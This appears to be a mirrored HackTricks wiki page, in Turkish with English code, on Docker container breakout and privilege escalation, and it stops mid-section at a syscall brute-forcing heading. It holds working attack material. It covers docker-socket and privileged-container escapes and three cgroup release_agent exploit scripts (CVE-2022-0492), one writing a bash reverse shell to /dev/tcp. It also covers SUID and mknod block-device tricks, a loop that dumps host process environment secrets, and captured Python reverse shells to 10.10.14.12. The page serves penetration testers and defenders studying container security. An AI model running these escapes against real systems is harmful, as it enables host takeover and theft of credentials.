mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
595 lines
28 KiB
Markdown
595 lines
28 KiB
Markdown
# Docker Breakout / Privilege Escalation
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|
||
|
||
## Otomatik Sayım & Kaçış
|
||
|
||
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri sayabilir**
|
||
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, bulunduğunuz konteyneri saymak ve otomatik olarak kaçış denemeleri yapmak için oldukça **yararlıdır**
|
||
- [**amicontained**](https://github.com/genuinetools/amicontained): Kaçış yollarını bulmak için konteynerin sahip olduğu ayrıcalıkları elde etmek için yararlı bir araç
|
||
- [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden sayım yapmak ve kaçış sağlamak için bir araç
|
||
- [**grype**](https://github.com/anchore/grype): Görüntüde yüklü olan yazılımlarda bulunan CVE'leri alır
|
||
|
||
## Montelenmiş Docker Soketi Kaçışı
|
||
|
||
Eğer bir şekilde **docker soketinin** docker konteyneri içinde montelenmiş olduğunu bulursanız, buradan kaçış yapabileceksiniz.\
|
||
Bu genellikle, bir nedenle docker daemon ile bağlantı kurması gereken docker konteynerlerinde olur.
|
||
```bash
|
||
#Search the socket
|
||
find / -name docker.sock 2>/dev/null
|
||
#It's usually in /run/docker.sock
|
||
```
|
||
Bu durumda, docker daemon ile iletişim kurmak için normal docker komutlarını kullanabilirsiniz:
|
||
```bash
|
||
#List images to use one
|
||
docker images
|
||
#Run the image mounting the host disk and chroot on it
|
||
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
|
||
|
||
# Get full access to the host via ns pid and nsenter cli
|
||
docker run -it --rm --pid=host --privileged ubuntu bash
|
||
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||
|
||
# Get full privs in container without --privileged
|
||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||
```
|
||
> [!TIP]
|
||
> Eğer **docker soketi beklenmedik bir yerdeyse** yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak onunla iletişim kurabilirsiniz.
|
||
|
||
Docker daemon ayrıca [bir portta dinliyor olabilir (varsayılan olarak 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) veya Systemd tabanlı sistemlerde, Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
|
||
|
||
> [!TIP]
|
||
> Ayrıca, diğer yüksek seviyeli çalışma zamanlarının çalışma zamanı soketlerine dikkat edin:
|
||
>
|
||
> - dockershim: `unix:///var/run/dockershim.sock`
|
||
> - containerd: `unix:///run/containerd/containerd.sock`
|
||
> - cri-o: `unix:///var/run/crio/crio.sock`
|
||
> - frakti: `unix:///var/run/frakti.sock`
|
||
> - rktlet: `unix:///var/run/rktlet.sock`
|
||
> - ...
|
||
|
||
## Yeteneklerin Kötüye Kullanımı ile Kaçış
|
||
|
||
Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdakilerden herhangi birine sahipse, ondan kaçış yapabilirsiniz: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||
|
||
Mevcut konteyner yeteneklerini **daha önce bahsedilen otomatik araçlar** ile veya kontrol edebilirsiniz:
|
||
```bash
|
||
capsh --print
|
||
```
|
||
Aşağıdaki sayfada **linux yetenekleri hakkında daha fazla bilgi edinebilir** ve bunları nasıl kötüye kullanarak yetki kaçışı/yükseltmesi yapabileceğinizi öğrenebilirsiniz:
|
||
|
||
{{#ref}}
|
||
../../linux-capabilities.md
|
||
{{#endref}}
|
||
|
||
## Yetkili Konteynerlerden Kaçış
|
||
|
||
Yetkili bir konteyner, `--privileged` bayrağı ile veya belirli savunmaları devre dışı bırakarak oluşturulabilir:
|
||
|
||
- `--cap-add=ALL`
|
||
- `--security-opt apparmor=unconfined`
|
||
- `--security-opt seccomp=unconfined`
|
||
- `--security-opt label:disable`
|
||
- `--pid=host`
|
||
- `--userns=host`
|
||
- `--uts=host`
|
||
- `--cgroupns=host`
|
||
- `Mount /dev`
|
||
|
||
`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde azaltır, **kısıtlamasız cihaz erişimi** sunar ve **birçok korumayı** atlatır. Detaylı bir inceleme için `--privileged`'in tam etkileri ile ilgili belgeleri inceleyin.
|
||
|
||
{{#ref}}
|
||
../docker-privileged.md
|
||
{{#endref}}
|
||
|
||
### Yetkili + hostPID
|
||
|
||
Bu izinlerle, sadece **root olarak ana makinede çalışan bir sürecin ad alanına geçebilirsiniz**; örneğin init (pid:1) sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||
|
||
Bunu bir konteynerde test edin:
|
||
```bash
|
||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||
```
|
||
### Ayrıcalıklı
|
||
|
||
Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskine erişmeye** veya **release_agent veya diğer kaçışları kötüye kullanarak kaçmaya** çalışabilirsiniz.
|
||
|
||
Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin:
|
||
```bash
|
||
docker run --rm -it --privileged ubuntu bash
|
||
```
|
||
#### Diski Montajlama - Poc1
|
||
|
||
İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak, `--privileged` veya `--device=/dev/sda1` bayrağı büyük harfle belirtilmiş yanlış yapılandırılmış docker komutlarında, ana makine sürücüsünü görme ayrıcalıklarını elde etmek mümkündür.
|
||
|
||

|
||
|
||
Bu nedenle ana makineyi ele geçirmek oldukça basittir:
|
||
```bash
|
||
mkdir -p /mnt/hola
|
||
mount /dev/sda1 /mnt/hola
|
||
```
|
||
Ve işte! Artık ana makinenin dosya sistemine erişebilirsiniz çünkü `/mnt/hola` klasörüne monte edilmiştir.
|
||
|
||
#### Disk Montajı - Poc2
|
||
|
||
Konteyner içinde, bir saldırgan, küme tarafından oluşturulan yazılabilir bir hostPath hacmi aracılığıyla altındaki ana işletim sistemine daha fazla erişim sağlamaya çalışabilir. Aşağıda, bu saldırgan vektörünü kullanıp kullanamayacağınızı görmek için konteyner içinde kontrol edebileceğiniz bazı yaygın şeyler bulunmaktadır:
|
||
```bash
|
||
### Check if You Can Write to a File-system
|
||
echo 1 > /proc/sysrq-trigger
|
||
|
||
### Check root UUID
|
||
cat /proc/cmdline
|
||
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
|
||
|
||
# Check Underlying Host Filesystem
|
||
findfs UUID=<UUID Value>
|
||
/dev/sda1
|
||
|
||
# Attempt to Mount the Host's Filesystem
|
||
mkdir /mnt-test
|
||
mount /dev/sda1 /mnt-test
|
||
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
|
||
|
||
### debugfs (Interactive File System Debugger)
|
||
debugfs /dev/sda1
|
||
```
|
||
#### Yetki Kaçırma Mevcut release_agent'i istismar etme ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||
```bash:Initial PoC
|
||
# spawn a new container to exploit via:
|
||
# docker run --rm -it --privileged ubuntu bash
|
||
|
||
# Finds + enables a cgroup release_agent
|
||
# Looks for something like: /sys/fs/cgroup/*/release_agent
|
||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||
# If "d" is empty, this won't work, you need to use the next PoC
|
||
|
||
# Enables notify_on_release in the cgroup
|
||
mkdir -p $d/w;
|
||
echo 1 >$d/w/notify_on_release
|
||
# If you have a "Read-only file system" error, you need to use the next PoC
|
||
|
||
# Finds path of OverlayFS mount for container
|
||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||
|
||
# Sets release_agent to /path/payload
|
||
touch /o; echo $t/c > $d/release_agent
|
||
|
||
# Creates a payload
|
||
echo "#!/bin/sh" > /c
|
||
echo "ps > $t/o" >> /c
|
||
chmod +x /c
|
||
|
||
# Triggers the cgroup via empty cgroup.procs
|
||
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
||
|
||
# Reads the output
|
||
cat /o
|
||
```
|
||
#### Yetki Kaçırma, oluşturulan release_agent'i istismar etme ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||
```bash:Second PoC
|
||
# On the host
|
||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||
|
||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||
# This technique should work with the majority of cgroup controllers
|
||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
|
||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||
# If mount gives an error, this won't work, you need to use the first PoC
|
||
|
||
# Enables cgroup notifications on release of the "x" cgroup
|
||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||
|
||
# Finds path of OverlayFS mount for container
|
||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||
|
||
# Sets release_agent to /path/payload
|
||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||
|
||
#For a normal PoC =================
|
||
echo '#!/bin/sh' > /cmd
|
||
echo "ps aux > $host_path/output" >> /cmd
|
||
chmod a+x /cmd
|
||
#===================================
|
||
#Reverse shell
|
||
echo '#!/bin/bash' > /cmd
|
||
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
|
||
chmod a+x /cmd
|
||
#===================================
|
||
|
||
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
|
||
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
|
||
# The script on the host will execute after /bin/sh exits
|
||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||
|
||
# Reads the output
|
||
cat /output
|
||
```
|
||
{{#ref}}
|
||
docker-release_agent-cgroups-escape.md
|
||
{{#endref}}
|
||
|
||
#### Yetkili Kaçış release_agent'i göreli yolu bilmeden istismar etme - PoC3
|
||
|
||
Önceki istismarlar da **konteynerin ana makinenin dosya sistemindeki mutlak yolu ifşa edilmiştir**. Ancak, bu her zaman böyle değildir. Ana makine içindeki konteynerin **mutlak yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz:
|
||
|
||
{{#ref}}
|
||
release_agent-exploit-relative-paths-to-pids.md
|
||
{{#endref}}
|
||
```bash
|
||
#!/bin/sh
|
||
|
||
OUTPUT_DIR="/"
|
||
MAX_PID=65535
|
||
CGROUP_NAME="xyx"
|
||
CGROUP_MOUNT="/tmp/cgrp"
|
||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||
|
||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||
sleep 10000 &
|
||
|
||
# Prepare the payload script to execute on the host
|
||
cat > ${PAYLOAD_PATH} << __EOF__
|
||
#!/bin/sh
|
||
|
||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||
|
||
# Commands to run on the host<
|
||
ps -eaf > \${OUTPATH} 2>&1
|
||
__EOF__
|
||
|
||
# Make the payload script executable
|
||
chmod a+x ${PAYLOAD_PATH}
|
||
|
||
# Set up the cgroup mount using the memory resource cgroup controller
|
||
mkdir ${CGROUP_MOUNT}
|
||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||
|
||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||
TPID=1
|
||
while [ ! -f ${OUTPUT_PATH} ]
|
||
do
|
||
if [ $((${TPID} % 100)) -eq 0 ]
|
||
then
|
||
echo "Checking pid ${TPID}"
|
||
if [ ${TPID} -gt ${MAX_PID} ]
|
||
then
|
||
echo "Exiting at ${MAX_PID} :-("
|
||
exit 1
|
||
fi
|
||
fi
|
||
# Set the release_agent path to the guessed pid
|
||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||
# Trigger execution of the release_agent
|
||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||
TPID=$((${TPID} + 1))
|
||
done
|
||
|
||
# Wait for and cat the output
|
||
sleep 1
|
||
echo "Done! Output:"
|
||
cat ${OUTPUT_PATH}
|
||
```
|
||
Yetkili bir konteyner içinde PoC'yi çalıştırmak, aşağıdaki gibi bir çıktı sağlamalıdır:
|
||
```bash
|
||
root@container:~$ ./release_agent_pid_brute.sh
|
||
Checking pid 100
|
||
Checking pid 200
|
||
Checking pid 300
|
||
Checking pid 400
|
||
Checking pid 500
|
||
Checking pid 600
|
||
Checking pid 700
|
||
Checking pid 800
|
||
Checking pid 900
|
||
Checking pid 1000
|
||
Checking pid 1100
|
||
Checking pid 1200
|
||
|
||
Done! Output:
|
||
UID PID PPID C STIME TTY TIME CMD
|
||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||
...
|
||
```
|
||
#### Ayrıcalıklı Kaçış Hassas Montajları Kötüye Kullanma
|
||
|
||
Montajı yapılmış birkaç dosya vardır ki bunlar **altındaki ana makine hakkında bilgi verir**. Bunlardan bazıları, **bir şey olduğunda ana makine tarafından yürütülecek bir şeyi gösterebilir** (bu, bir saldırganın konteynerden kaçmasına izin verecektir).\
|
||
Bu dosyaların kötüye kullanımı şunları mümkün kılabilir:
|
||
|
||
- release_agent (daha önce ele alındı)
|
||
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
|
||
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
|
||
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
|
||
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||
|
||
Ancak, bu sayfada kontrol edilecek **diğer hassas dosyalar** bulabilirsiniz:
|
||
|
||
{{#ref}}
|
||
sensitive-mounts.md
|
||
{{#endref}}
|
||
|
||
### Rastgele Montajlar
|
||
|
||
Birçok durumda, **konteynerin ana makineden bazı hacimlerin montajının yapıldığını** göreceksiniz. Eğer bu hacim doğru bir şekilde yapılandırılmamışsa, **hassas verilere erişim/değişiklik yapma** imkanınız olabilir: Gizli bilgileri okuyun, ssh authorized_keys'i değiştirin…
|
||
```bash
|
||
docker run --rm -it -v /:/host ubuntu bash
|
||
```
|
||
Başka ilginç bir örnek [**bu blogda**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) bulunabilir; burada, ana bilgisayarın `/usr/bin/` ve `/bin/` klasörlerinin konteyner içinde monte edildiği ve konteynerin root kullanıcısının bu klasörler içindeki ikili dosyaları değiştirebildiği belirtiliyor. Bu nedenle, eğer bir cron işi buradan herhangi bir ikili dosya kullanıyorsa, örneğin `/etc/cron.d/popularity-contest`, bu, cron işinin kullandığı bir ikili dosyayı değiştirerek konteynerden kaçış sağlamaktadır.
|
||
|
||
### 2 shell ve ana bilgisayar montajı ile Yetki Yükseltme
|
||
|
||
Eğer ana bilgisayarda monte edilmiş bir klasörden bazı dosyalarla **konteyner içinde root olarak erişiminiz** varsa ve **yetkisiz bir kullanıcı olarak ana bilgisayara kaçtıysanız** ve monte edilmiş klasör üzerinde okuma erişiminiz varsa.\
|
||
Konteyner içindeki **monte edilmiş klasörde** bir **bash suid dosyası** oluşturabilir ve **bunu ana bilgisayardan çalıştırarak** yetki yükseltebilirsiniz.
|
||
```bash
|
||
cp /bin/bash . #From non priv inside mounted folder
|
||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||
chown root:root bash #From container as root inside mounted folder
|
||
chmod 4777 bash #From container as root inside mounted folder
|
||
bash -p #From non priv inside mounted folder
|
||
```
|
||
### İki Shell ile Yetki Yükseltme
|
||
|
||
Eğer bir **konteyner içinde root erişiminiz** varsa ve **host'a yetkisiz bir kullanıcı olarak kaçtıysanız**, her iki shell'i de **host içinde privesc için** kötüye kullanabilirsiniz eğer konteyner içinde MKNOD yeteneğine sahipseniz (bu varsayılan olarak vardır) olarak [**bu yazıda açıklandığı gibi**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||
Bu yetenekle konteyner içindeki root kullanıcısı **blok cihaz dosyaları oluşturma** iznine sahiptir. Cihaz dosyaları, **temel donanım ve çekirdek modüllerine erişim** sağlamak için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verilere erişim** sağlar.
|
||
|
||
Docker, konteynerler içinde blok cihaz kötüye kullanımına karşı, **blok cihaz okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygulayarak koruma sağlar. Ancak, eğer bir blok cihaz **konteyner içinde oluşturulursa**, bu cihaz konteyner dışından **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, **işlem sahibinin hem konteyner içinde hem de dışında aynı olması** gerektirir.
|
||
|
||
**Sömürü** örneği bu [**yazıdan**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||
```bash
|
||
# On the container as root
|
||
cd /
|
||
# Crate device
|
||
mknod sda b 8 0
|
||
# Give access to it
|
||
chmod 777 sda
|
||
|
||
# Create the nonepriv user of the host inside the container
|
||
## In this case it's called augustus (like the user from the host)
|
||
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
|
||
# Get a shell as augustus inside the container
|
||
su augustus
|
||
su: Authentication failure
|
||
(Ignored)
|
||
augustus@3a453ab39d3d:/backend$ /bin/sh
|
||
/bin/sh
|
||
$
|
||
```
|
||
|
||
```bash
|
||
# On the host
|
||
|
||
# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
|
||
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
|
||
root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
|
||
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
|
||
augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh
|
||
augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh
|
||
|
||
# The process ID is 1659 in this case
|
||
# Grep for the sda for HTB{ through the process:
|
||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
||
```
|
||
### hostPID
|
||
|
||
Eğer ana makinenin süreçlerine erişiminiz varsa, bu süreçlerde saklanan birçok hassas bilgiye erişebileceksiniz. Test laboratuvarını çalıştırın:
|
||
```
|
||
docker run --rm -it --pid=host ubuntu bash
|
||
```
|
||
Örneğin, `ps auxn` gibi bir şey kullanarak süreçleri listeleyebilir ve komutlarda hassas ayrıntıları arayabilirsiniz.
|
||
|
||
Ardından, **/proc/ içindeki her bir host sürecine erişebildiğiniz için, sadece env gizli anahtarlarını çalabilirsiniz**:
|
||
```bash
|
||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||
/proc/988058/environ
|
||
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||
HOSTNAME=argocd-server-69678b4f65-6mmql
|
||
USER=abrgocd
|
||
...
|
||
```
|
||
Diğer süreçlerin dosya tanımlayıcılarına **erişebilir ve açık dosyalarını okuyabilirsiniz**:
|
||
```bash
|
||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||
less fds.txt
|
||
...omitted for brevity...
|
||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
|
||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
||
# You can open the secret filw with:
|
||
cat /proc/635813/fd/4
|
||
```
|
||
Ayrıca **işlemleri sonlandırabilir ve bir DoS oluşturabilirsiniz**.
|
||
|
||
> [!WARNING]
|
||
> Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir şey çalıştırarak **o işlemin aynı ns kısıtlamalarıyla** (umarım hiç yok) **bir shell çalıştırabilirsiniz.**
|
||
|
||
### hostNetwork
|
||
```
|
||
docker run --rm -it --network=host ubuntu bash
|
||
```
|
||
Eğer bir konteyner Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/) ile yapılandırılmışsa, o konteynerin ağ yığını Docker ana bilgisayarından izole değildir (konteyner, ana bilgisayarın ağ ad alanını paylaşır) ve konteynerin kendi IP adresi tahsis edilmez. Diğer bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Dahası, konteyner **ana bilgisayarın** gönderdiği ve aldığı tüm ağ trafiğini **yakalayabilir** ve **manipüle edebilir** `tcpdump -i eth0`.
|
||
|
||
Örneğin, bunu **ana bilgisayar ile metadata örneği arasındaki trafiği yakalamak ve hatta sahte trafik oluşturmak** için kullanabilirsiniz.
|
||
|
||
Aşağıdaki örneklerde olduğu gibi:
|
||
|
||
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
|
||
|
||
Ayrıca, ana bilgisayar içindeki **localhost'a bağlı ağ hizmetlerine** erişebilecek veya **düğümün metadata izinlerine** (bir konteynerin erişebileceğinden farklı olabilir) erişebileceksiniz.
|
||
|
||
### hostIPC
|
||
```bash
|
||
docker run --rm -it --ipc=host ubuntu bash
|
||
```
|
||
`hostIPC=true` ile, ana bilgisayarın süreçler arası iletişim (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** kaynaklarına erişim kazanırsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya pod süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha fazla incelemek için `ipcs` komutunu kullanın.
|
||
|
||
- **/dev/shm'yi İncele** - Bu paylaşılan bellek konumundaki dosyaları kontrol edin: `ls -la /dev/shm`
|
||
- **Mevcut IPC tesislerini İncele** – Herhangi bir IPC tesisinin kullanılıp kullanılmadığını kontrol etmek için `/usr/bin/ipcs` komutunu kullanabilirsiniz. Bunu kontrol edin: `ipcs -a`
|
||
|
||
### Yetenekleri Geri Kazan
|
||
|
||
Eğer sistem çağrısı **`unshare`** yasaklanmamışsa, tüm yetenekleri geri kazanabilirsiniz:
|
||
```bash
|
||
unshare -UrmCpf bash
|
||
# Check them with
|
||
cat /proc/self/status | grep CapEff
|
||
```
|
||
### Kullanıcı ad alanı istismarı yoluyla symlink
|
||
|
||
Gönderide açıklanan ikinci teknik [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) kullanıcı ad alanları ile bind mount'ları nasıl istismar edebileceğinizi, ev sahibi içindeki dosyaları etkilemek için (bu özel durumda, dosyaları silmek) göstermektedir.
|
||
|
||
## CVE'ler
|
||
|
||
### Runc istismarı (CVE-2019-5736)
|
||
|
||
Eğer `docker exec` komutunu root olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'dan yararlanarak bir konteynerden kaçış yaparak ayrıcalıkları yükseltmeye çalışırsınız (istismar [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **/bin/sh** ikili dosyasını **ev sahibi** **konteynerden** **üstüne yazacaktır**, bu nedenle docker exec komutunu çalıştıran herkes yükü tetikleyebilir.
|
||
|
||
Yükü buna göre değiştirin ve `go build main.go` ile main.go dosyasını derleyin. Ortaya çıkan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\
|
||
Yürütme sırasında, `[+] /bin/sh başarıyla yazıldı` mesajını gösterdiği anda, ev sahibi makineden aşağıdakini çalıştırmalısınız:
|
||
|
||
`docker exec -it <container-name> /bin/sh`
|
||
|
||
Bu, main.go dosyasında bulunan yükü tetikleyecektir.
|
||
|
||
Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||
|
||
> [!TIP]
|
||
> Konteynerin savunmasız olabileceği diğer CVE'ler de vardır, bir listeyi [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulabilirsiniz.
|
||
|
||
## Docker Özel Kaçış
|
||
|
||
### Docker Kaçış Yüzeyi
|
||
|
||
- **Ad Alanları:** Süreç, ad alanları aracılığıyla **diğer süreçlerden tamamen ayrılmış** olmalıdır, bu nedenle ad alanları nedeniyle diğer süreçlerle etkileşimde bulunarak kaçış yapamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer süreçlerin `/proc`'u aracılığıyla iletişim kuramaz).
|
||
- **Root kullanıcı**: Varsayılan olarak süreci çalıştıran kullanıcı root kullanıcısıdır (ancak ayrıcalıkları sınırlıdır).
|
||
- **Yetenekler**: Docker aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||
- **Sistem çağrıları**: **Root kullanıcısının çağıramayacağı** sistem çağrılarıdır (yeteneklerin eksikliği + Seccomp nedeniyle). Diğer sistem çağrıları kaçış yapmaya çalışmak için kullanılabilir.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="x64 syscalls"}}
|
||
```yaml
|
||
0x067 -- syslog
|
||
0x070 -- setsid
|
||
0x09b -- pivot_root
|
||
0x0a3 -- acct
|
||
0x0a4 -- settimeofday
|
||
0x0a7 -- swapon
|
||
0x0a8 -- swapoff
|
||
0x0aa -- sethostname
|
||
0x0ab -- setdomainname
|
||
0x0af -- init_module
|
||
0x0b0 -- delete_module
|
||
0x0d4 -- lookup_dcookie
|
||
0x0f6 -- kexec_load
|
||
0x12c -- fanotify_init
|
||
0x130 -- open_by_handle_at
|
||
0x139 -- finit_module
|
||
0x140 -- kexec_file_load
|
||
0x141 -- bpf
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="arm64 syscalls"}}
|
||
```
|
||
0x029 -- pivot_root
|
||
0x059 -- acct
|
||
0x069 -- init_module
|
||
0x06a -- delete_module
|
||
0x074 -- syslog
|
||
0x09d -- setsid
|
||
0x0a1 -- sethostname
|
||
0x0a2 -- setdomainname
|
||
0x0aa -- settimeofday
|
||
0x0e0 -- swapon
|
||
0x0e1 -- swapoff
|
||
0x106 -- fanotify_init
|
||
0x109 -- open_by_handle_at
|
||
0x111 -- finit_module
|
||
0x118 -- bpf
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="syscall_bf.c"}}
|
||
````c
|
||
// From a conversation I had with @arget131
|
||
// Fir bfing syscalss in x64
|
||
|
||
